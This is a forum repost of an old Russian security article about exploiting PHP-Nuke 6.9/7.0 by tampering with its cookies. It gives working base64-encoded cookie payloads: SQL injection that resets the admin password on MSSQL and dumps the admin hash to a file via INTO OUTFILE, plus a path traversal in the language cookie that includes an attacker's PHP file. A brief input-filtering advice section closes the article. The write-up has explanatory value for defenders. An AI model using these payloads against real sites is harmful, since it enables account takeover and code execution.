QL-injection и не только, через cookies, хоть и статья немоя но мне она понравилась
SQL-injection и не только, через cookies Автор: 1dt.w0lf Введение
В данной статье я хотел бы рассказать об одной интересной (по крайней мере для меня) уязвимости.Описания подобной уязвимости я еще не встречал в сети, поэтому думаю для вас это будет новой информацией, а уж если не новой то хотя бы интересной =) Наиболее характерна бага для всевозможных движков сайтов, форумов и прочего, поддерживающих вход с использованием cookies. В сети я встречал статьи посвященные методам атаки через cookies, но в них рассматривалась атака на пользователя со стороны сервера, а вот описания метода атаки на сервер со стороны клиента я не встречал. Чтож наверно пора это исправить =) В начале статьи следует заметить, что для наиболее полного понимания сути проблемы вы должны обладать некоторыми (элементарными) знаниями в некоторых областях т.к. подробно останавливаться я на них не буду, а без их знания некоторые примеры могут показаться вам непонятными. Итак желательны: основы sql injection , язык SQL , язык PHP , основы работы с cookies , основы Base64 encode\decode ну и конечно немного желания....
Теория
Авторами всевозможных движков на пхп для построения сайта уделяется достаточно внимания к безопасности при приеме данных от пользователя в GET, POST запросах (правда не всегда и не всеми =) однако что-то я не часто встречал проверок при приеме данных из кук пользователя, а ведь куки хранятся на компьютере юзера и наиболее доступны для изменения. Предлагаю рассмотреть все на конкретном примере. Берем движок PHP-Nuke версии 6.9 (последняя версия доступная для свободного скачивания) Данный движок написан уже давно, багов в нем нашли немеряно и казалось бы авторы должны были стать параноиками и навставлять проверок везде где это только возможно, ан нет... Рассмотрим код из файла auth.php ответственного за авторизацию пользователя:
PHP код:
[ begin code ]
...
if(isset($admin) && $admin != "") # если переменная $admin существует и не пуста
{
$admin = base64_decode($admin); # base64 декодирование строки
$admin = explode(":", $admin); # разбиение строки
$aid = "$admin[0]"; # тут присвоение полученных данных переменной $aid (логин)
$pwd = "$admin[1]"; # тут присвоение полученных данных переменной $pwd (пароль)
$admlanguage = "$admin[2] ";
[ тут идет проверка на пустые логин и пароль, она не интересна ]
$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'";
# а вот тут уже запрос к БД включающий
# в себя переменную $aid полученную ранее
if (!($result = $db->sql_query($sql))) # если запрос не увенчался успехом
{
echo "Selection from database failed!"; # вывод сообщения (это нам пригодится позднее)
exit;
}
else # если запрос вернул инфу
{
$row = $db->sql_fetchrow($result); # получение ответа
if($row[pwd] == $pwd && $row[pwd] != "") # проверка данных
{
$admintest = 1; # баааа... да это админ =)))
}
}
...
[ end code ]
Как видно из приведенного листинга то после получения переменной $aid из кук она без всяких
проверок отправляется в sql-запрос, а это означает что мы с чистой совестью можем изменить
данную переменную и изменить сам запрос к БД. Теперь стоит разобраться с куками которые сбрасывает данный движок. Я рекомендую поставить php-nuke себе и на своем компе производить все операции дабы разобраться в том что происходит. Значит после установки движка регистрируем в нем пользователя "admin" с паролем "password" и лезем смотреть на куки которые у нас сбросились.
PHP код:
[ start cookie ]
lang
english
127.0.0.1/phpnuke/
1536
1008201472
29680718
3288127568
29607292
*
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
1536
3469246208
29613327
3600307568
29607292
*
[ end cookie ]
Наиболее интересна для нас строка YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOT k6
это зашифрованные base64 логин и md5 хеш пароля юзера. Самое время их расшифровать и посмотреть как там все устроено. base64 расшифровывается очень легко поэтому особых трудностей тут возникнуть не должно: зашифровано:
Где, admin - логин
5f4dcc3b5aa765d61d8327deb882cf99 - md5 хеш пароля ( в данном случае "password")
:- разделитель
Изменение данных в cookie
Итак у нас в руках есть логин и md5 хэш. Давайте попробуем изменить логин и соответственно
мы изменим последующий sql-запрос к БД:
измененная строка:
admin':5f4dcc3b5aa765d61d8327deb882cf99:
шифруем в base64:
YWRtaW4nOjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZj k5Og==
Как вы видите мы добавили "'" к логину. Если вы не знаете что это такое то читайте статьи про sqlinjection. Теперь осталось вставить измененную строку в наш кук и посмотреть, что произойдет.Открываем в браузере наш движок и пытаемся войти в админ-панель. Получаем: Selection from database failed! Ура. Значит sql-запрос был благополучно изменен =)
Теперь посмотрим что происходит в БД. Открываем логи и видим:
1 Init DB nuke
1 Init DB nuke
1 Query SELECT main_module from nuke_main
1 Query SELECT * FROM nuke_referer
1 Query SELECT user_password FROM nuke_users WHERE username=''
1 Query DELETE FROM nuke_session WHERE time < 1071760481
1 Query SELECT time FROM nuke_session WHERE uname='127.0.0.1'
1 Query SELECT * FROM nuke_banner WHERE type='0' AND active='1'
1 Query SELECT bid, imageurl, clickurl, alttext FROM nuke_banner
WHERE type='0' AND active='1' LIMIT 0,1
1 Query SELECT pwd FROM nuke_authors WHERE aid='admin'' <--- !!!!!!!!
...
Вот оно! Как видно наш логин благополучно пробрался в запрос и соответственно данный запрос не смог возвратить пароль пользователя из-за чего мы и получаем надпись...
PHP код:
if (!($result = $db->sql_query($sql))) # если запрос не увенчался успехом
{
echo "Selection from database failed!"; <--- вот эта надпись
exit;
}
Итак. SQL-injection налицо, осталось выяснить, что это нам дает.... Тут следует обратится к
Документации по языку sql, и всевозможной инфе по sql-injection. Я особо углубляться в это не буду. Рассмотрю лишь небольшой пример...
Примеры
Шифруем строку:
admin'; update nuke_authors SET pwd='123'
WHERE aid='admin:5f4dcc3b5aa765d61d8327deb882cf99:
После вставки данной строки в cookie и захода на сайт в БД выполняется запрос:
SELECT pwd FROM nuke_authors WHERE aid='admin';
update nuke_authors SET pwd='123' WHERE aid='admin'
Т.е. если phpnuke стоит на MSSQL то хеш пароля юзера с aid="admin" сменится на "123" =)
Почему MSSQL? Просто эта БД позволяет отдавать несколько запросов в одной строке разделяя их ";" В случае с mysql данная фишка не прокатит т.к. там такая роскошь не допускается =( Конечно можно поиграть с UNION но это подходит только для mysql > 4.0 т.к. в более ранних данной команды нет. Да и в случае с phpnuke никаких результатов это нам не даст т.к. тут нету вывода какой-либо инфы из базы в процессе авторизации =( Возможно в каких-либо других движках при другом виде запросов к БД и удастся приспособить UNION для получения инфы... Но это тема другой статьи.
Ну и как дополнение к статье рассмотрим путь получения хеша пароля для юзера с id="admin" в php-nuke версии 6.9 на mysql
Шифруем строку:
admin' INTO OUTFILE './pwd.txt:5f4dcc3b5aa765d61d8327deb882cf99:
Получаем:
YWRtaW4nIElOVE8gT1VURklMRSAnLi9wd2QudHh0OjVmNGRjYz Ni
NWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og==
После вставки полученной строки в cookie и захода на сайт выполняется запрос:
SELECT pwd FROM nuke_authors WHERE aid='admin' INTO OUTFILE './pwd.txt'
Т.е. выбор хеша пароля из БД соответствующего aid="admin" и сохранение этого хеша в файле pwd.txt.
Хинт для нюка
Если посмотреть на php-код приведенный в самом начале статьи то можно заметить что на PHP-Nuke совсем не обязательно передавать данные именно через cookies. Можно передавать зашифрованную строку прямо через браузер следующим образом:
Результат будет таким-же как и при передаче через кукисы.
SQL-injection и только?
Естественно не следует думать, что модификация данных в cookies может привести только к SQL-injection.Модификация данных в cookies лишь метод, а вот направление использования этого метода уже зависит от кода уязвимого ПО. Мне кажется лучше всего будет это продемонстрировать на примере все того-же бедного пхп-нюка =) версии 6.9. ( К слову сказать на момент когда статья была дописана я уже достал себе версию нюки 7.0 FINAL и все приведенные примеры в ней также работают) Итак мы уже в курсе про куки в которых хранится логин и пароль, но ведь движок сбрасывает еще одну куку... а именно кукис с названием языка который следует использовать. И название данного файла хранится в переменной $lang и используется вот таким образом:
Конечно данную переменную можно сменить и просто отдав с строке браузера нужный запрос, например вот так: 127.0.0.1/phpnuke/index.php?lang=/../../../ но использовать для этого кукисы будет более правильно, хотя наверно это не самый лучший пример, но какой есть. Простопредставим что данные из GET запросов фильтруются на наличие в запросе... ну например точек. Значит изменение пути через браузер отпадает. Будем играть с куками. Значит нам надо изменить путь к языковому файлу. Открываем сайт, получаем куки и смотрим:
PHP код:
[ start cookie ]
...
lang
english
...
[ end cookie ]
Вот тут нас интересует "english" при таком значении переменной языковой файл будет такой: language/lang-english.php Мы изменяем в кукисах вот на такую строку: ../../english Заходим на сайт и получаем ошибку:
Warning: main(language/lang-../../english.php): failed to open stream:
No such file or directory in mainfile.php on line 162
Итак мы можем изменить путь к файлу. Допустим у нас есть возможность залить файл на сервер или же у нас есть свой сайт, физически расположенный там-же где и атакуемый. Значит мы можем проинклудить свой созданный заранее файлик. Я рассмотрю пример с инклудом из корня пхп-нюки: Делаем в куке
:
lang /../../hacker
Теперь путь к файлу такой:
language/lang-/../../hacker.php
Создаем в корне нюки файл hacker.php например с Заходим с измененным cookie на сайт и в самом верху получаем надпись "cool =)" Код выполнился, а значит потенциальная уязвимость существует.
Защита
Способ защиты в принципе банален и не нов. Просто фильтровать ВСЕ!!! пришедшие от пользователя данные, независимо от того каким способом они передаются.
Заключение
В данной статье рассмотрена лишь суть проблемы, а методы использования уже предстоит придумать и реализовать вам самим. Также метод рассмотренный тут не является шаблоном по которому можно ломануть все и вся... Все зависит от самого скрипта использующегося на сервере, от вида запросов к БД, от способов получения данных из cookies и т.д. Да и еще... самое главное! Статья написана в помощь администраторам и авторам всевозможных пхп-скриптов, с целью указать на их возможные ошибки. Не используйте информацию из этой статьи в целях противоречащих УК.
o---[ RusH security team | [Ссылки могут видеть только зарегистрированные пользователи. ] | [Ссылки могут видеть только зарегистрированные пользователи. ] ]---o
Последний раз редактировалось magogs; 28.12.2010 в 12:23.